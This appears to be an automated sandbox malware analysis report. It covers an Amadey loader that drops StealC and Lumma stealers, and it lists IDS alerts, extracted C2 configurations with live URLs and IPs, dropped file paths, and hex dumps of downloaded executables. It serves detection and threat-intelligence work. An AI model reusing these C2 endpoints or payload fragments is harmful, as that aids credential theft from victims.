2024-11-23T21:15:17.596478+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49710	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:11.798429+0100	2803305	3	Unknown Traffic	192.168.2.8	49711	185.215.113.16	80	TCP
2024-11-23T21:15:20.613029+0100	2803305	3	Unknown Traffic	192.168.2.8	49715	185.215.113.16	80	TCP
2024-11-23T21:15:29.757708+0100	2803305	3	Unknown Traffic	192.168.2.8	49728	185.215.113.16	80	TCP
2024-11-23T21:15:38.295479+0100	2803305	3	Unknown Traffic	192.168.2.8	49750	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2fQ8fpTWAP.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php:Py)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/l	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000003.1443898887.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: f20b4c0961.exe.3848.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: 2fQ8fpTWAP.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2fQ8fpTWAP.exe

Joe Sandbox ML: detected

Source: 2fQ8fpTWAP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.8:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.8:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.67:443 -> 192.168.2.8:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50183 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f20b4c0961.exe, 0000000B.00000003.2685648261.0000000007D60000.00000004.00001000.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000002.2784603033.0000000005BF2000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 197MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49709 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49710
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49713 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49721 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49744 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49719 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49778 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49790 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:50198 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49712 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49712 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49716 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49736 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49736 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49714 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49743 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49743 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49763 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49836 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49815 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:15:11 GMTContent-Type: application/octet-streamContent-Length: 1866752Last-Modified: Sat, 23 Nov 2024 19:41:32 GMTConnection: keep-aliveETag: "67422fec-1c7c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 27 0a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 77 6a 63 69 66 7a 7a 00 e0 19 00 00 40 30 00 00 dc 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 66 69 67 70 76 65 00 10 00 00 00 20 4a 00 00 06 00 00 00 54 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 5a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:15:20 GMTContent-Type: application/octet-streamContent-Length: 1787392Last-Modified: Sat, 23 Nov 2024 19:41:38 GMTConnection: keep-aliveETag: "67422ff2-1b4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 f6 25 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 68 62 69 6f 6f 66 6e 00 b0 19 00 00 00 4f 00 00 a8 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 73 79 7a 66 68 69 6f 00 10 00 00 00 b0 68 00 00 04 00 00 00 20 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 24 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:15:29 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Sat, 23 Nov 2024 19:39:45 GMTConnection: keep-aliveETag: "67422f81-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 2f 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 0d 9f 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 4c a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 4c a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
